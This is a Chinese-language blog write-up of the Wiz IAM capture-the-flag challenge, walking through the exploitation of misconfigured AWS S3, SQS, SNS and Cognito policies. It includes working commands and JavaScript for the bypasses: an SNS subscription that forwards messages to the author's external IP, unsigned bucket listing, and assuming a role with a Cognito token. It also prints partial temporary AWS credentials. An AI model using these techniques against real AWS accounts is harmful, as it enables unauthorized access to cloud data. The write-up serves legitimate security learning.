WIZ IAM Challenge

很有意思的挑战,攻击各种IAM Policy错误配置。之前没打过aws,这次学到不少新姿势。GPT帮了大忙,在理解IAM Policy和AWS服务利用上大大提高了效率。

您也可以尝试:https://bigiamchallenge.com/challenge

Buckets of Fun

直接给出了一个Bucket的Policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}

从策略里可以看出来,这个存储桶公开了s3:ListBuckets3:GetObject权限

直接访问拿到flag

Google Analytics

还是给出了一个IAM Policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

SQS

亚马逊简单队列服务 (Amazon SQS) 提供安全、耐用且可用的托管队列,使您可以集成和分离分布式软件系统和组件。Amazon SQS 提供常见结构,例如死信队列和成本分配标签。它提供了通用 Web 服务 API,您可以使用 Amazon SDK 支持的任何编程语言访问该API。

让GPT快速给出使用方法:

接收消息

拿到flag

Enable Push Notifications

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}

SNS

Amazon Simple Notification Service(Amazon SNS)以两种方式发送通知:A2A 和 A2P。A2A 在分布式系统、微服务和事件驱动型无服务器应用程序之间进行高吞吐量、基于推送的多对多消息传递。这些应用程序包括 Amazon Simple Queue Service (SQS)、Amazon Kinesis Data Firehose、AWS Lambda 和其他 HTTPS 端点。A2P 功能允许您可以通过 SMS 文本、推送通知和电子邮件向客户发送消息。

Policy

“Condition”: 可选字段,定义了进一步的条件以限制授权生效的条件。”StringLike” 条件指定了 “sns:Endpoint” 的值必须符合 “ *@tbic.wiz.io” 的模式。这意味着只有以 “@tbic.wiz.io” 结尾的电子邮件地址才能订阅该主题

理论上是这样的,但AWS SNS还支持HTTP/HTTPS订阅,那就很灵活了

ByPass Policy

写一个符合StringLike匹配规则的地址即可

1
aws sns subscribe --protocol http --notification-endpoint http://43.134.44.115:7777/auray@tbic.wiz.io --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications

确认订阅

1
2
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464dede3c082bf36407da1ade0d6721adfa5c4bab5dc579c04d6ee787d24bf37506bcb3b8b8d232a4d039bee171a36403f3177ac0e279f5e1ed5b806ac8081aa77683a43431091c73e8d8502c3c6b967777671a330aecd993a65d88fb4fffa23315d258e79e5b1d41f1237f32e29dffeda59

过了一会之后,会收到Message,其中包含flag

Admin only?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

这个策略允许任何用户获取指定 S3 存储桶下所有对象的权限,并且只有使用 arn:aws:iam::133713371337:user/admin 身份的用户可以列出以 files/ 开头的对象。

为了拿到flag,我们需要找到对应的Key,但只有admin才有ListBucket权限。

ByPass Policy

对于 ForAllValues,如果请求中没有键或者键值解析为空数据集(如空字符串),则也会返回 true,不要使用带有 Allow 效果的 ForAllValues,因为这样可能会过于宽容。

这里符合条件,那我们直接利用--no-sign-request绕过

1
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request

TBjtvNQ-XM

Do I know you?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}

Cognito

Amazon Cognito 是 Web 和移动应用程序的身份平台。它是用户目录、身份验证服务器以及 OAuth 2.0 访问令牌和 AWS 凭证的授权服务。使用 Amazon Cognito,您可以对内置用户目录、企业目录以及 Google 和 Facebook 等使用者身份提供者中的用户进行身份验证和授权。

让GPT帮忙查一下如何使用

但我们并没有AKSK。于是开始寻找,在网站图片这里可以看到AKSK泄漏

直接读好像不太行

2023-08-13 22.14.48_VmqsTQV6yP

后来看writeup,师傅们发现了这里的js

上面只获取了logo图,我们需要列出所有文件,直接交给GPT写一段获取S3文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html>
<head>
<title>Cognito JavaScript SDK Example</title>
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script>
</head>
<body>
<script>
// 初始化AWS SDK配置
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b',
});
// 获取临时凭证
AWS.config.credentials.get(function(err) {
if (!err) {
// 凭证获取成功
var accessKeyId = AWS.config.credentials.accessKeyId;
var secretAccessKey = AWS.config.credentials.secretAccessKey;
var sessionToken = AWS.config.credentials.sessionToken;

// 进行后续操作,如访问S3
accessS3(accessKeyId, secretAccessKey, sessionToken);
} else {
// 凭证获取失败
console.error('Error retrieving credentials: ' + err);
}
});
// 使用临时凭证访问S3
function accessS3(accessKeyId, secretAccessKey, sessionToken) {
var s3 = new AWS.S3({
accessKeyId: accessKeyId,
secretAccessKey: secretAccessKey,
sessionToken: sessionToken,
});
var params = {
Bucket: 'wiz-privatefiles',
};
s3.getSignedUrl('listObjectsV2', params, function(err, data) {
if (!err) {
// S3存储桶列表获取成功
console.log(data);
} else {
// S3存储桶列表获取失败
console.error('Error listing S3 buckets: ' + err);
}
});
}
</script>
</body>
</html>

成功列出了所有文件,也知道flag在flag1.txt里面了。但不能直接读

2023-08-13 22.38.23_qGRwckGPu7

只能让GPT再改一下了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html>
<head>
<title>Cognito JavaScript SDK Example</title>
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script>
</head>
<body>
<script>
// 初始化AWS SDK配置
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b',
});
// 获取临时凭证
AWS.config.credentials.get(function(err) {
if (!err) {
// 凭证获取成功
var accessKeyId = AWS.config.credentials.accessKeyId;
var secretAccessKey = AWS.config.credentials.secretAccessKey;
var sessionToken = AWS.config.credentials.sessionToken;

// 进行后续操作,如访问S3
accessS3(accessKeyId, secretAccessKey, sessionToken);
} else {
// 凭证获取失败
console.error('Error retrieving credentials: ' + err);
}
});
// 使用临时凭证访问S3
function accessS3(accessKeyId, secretAccessKey, sessionToken) {
var s3 = new AWS.S3({
accessKeyId: accessKeyId,
secretAccessKey: secretAccessKey,
sessionToken: sessionToken,
});
var params = {
Bucket: 'wiz-privatefiles',
Key: 'flag1.txt',
};
s3.getSignedUrl('getObject', params, function(err, data) {
if (!err) {
// S3存储桶对象获取成功
console.log(data);
} else {
// S3存储桶对象获取失败
console.error('Error get S3 bucket object: ' + err);
}
});
}
</script>
</body>
</html>

2023-08-13 22.43.14_0n8oe8k649

One final push

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}

这一题是上一题的延伸,加了更多限制。

了解了一下sts:AssumeRoleWithWebIdentity

当一个用户要使用 AWS 资源时,他们可以提供一个 Web 身份验证提供者(如Google、Facebook等)颁发的身份验证令牌。通过使用 “sts:AssumeRoleWithWebIdentity” 操作,用户可以使用这个令牌来获取一个临时安全凭证,然后再使用这些凭证来访问 AWS 资源。

直接参考GPT利用:

获取web-identity-token

按照GPT的指示和题目的信息,我们开始获取web-identity-token

获取identity ID

1
2
3
4
5
6
> aws cognito-identity get-id \
--identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
{
"IdentityId": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214"
}

获取web-identity-token

1
2
3
4
5
6
7
> aws cognito-identity get-open-id-token \
--identity-id us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214
{
"IdentityId": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214",
"Token": "eyJraWQiOiJ1cy1lYXN0LTE......_MjJPYZeO0oO3Dw"
}
>

为什么我们不需要像GPT提示的那样添加—-logins 参数呢?

因为这里存在未授权访问漏洞 :)

(不然我们也无法完成攻击)

GPT给出的利用方式好像不太行嘛

后面看师傅们的writeup,用的aws sts assume-role-with-web-identity

aws sts assume-role-with-web-identity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name auray --web-identity-toke
n eyJraWQiOiJ1c......YZeO0oO3Dw
{
"Credentials": {
"AccessKeyId": "ASIARK7LBOHXFM42OLPL",
"SecretAccessKey": "X9HbOd6L/1GnaZ+M/Q7PXpNXSlqT/bc7xTdQenJe",
"SessionToken": "FwoGZXIvY......w7CUxtg==",
"Expiration": "2023-08-13T16:20:23Z"
},
"SubjectFromWebIdentityToken": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214",
"AssumedRoleUser": {
"AssumedRoleId": "AROARK7LBOHXASFTNOIZG:auray",
"Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/auray"
},
"Provider": "cognito-identity.amazonaws.com",
"Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

成功获取到临时凭据,接下来直接利用

1
2
3
> export AWS_ACCESS_KEY_ID=ASIARK7LBOHXFM42OLPL
> export AWS_SECRET_ACCESS_KEY=X9HbOd6L/1GnaZ+M/Q7PXpNXSlqT/bc7xTdQenJe
> export AWS_SESSION_TOKEN=FwoG......Uxtg==


WIZ IAM Challenge
http://aurey7.github.io.git/2023/08/13/WIZ-IAM-Challenge/
作者
Aurey7
发布于
2023年8月13日
许可协议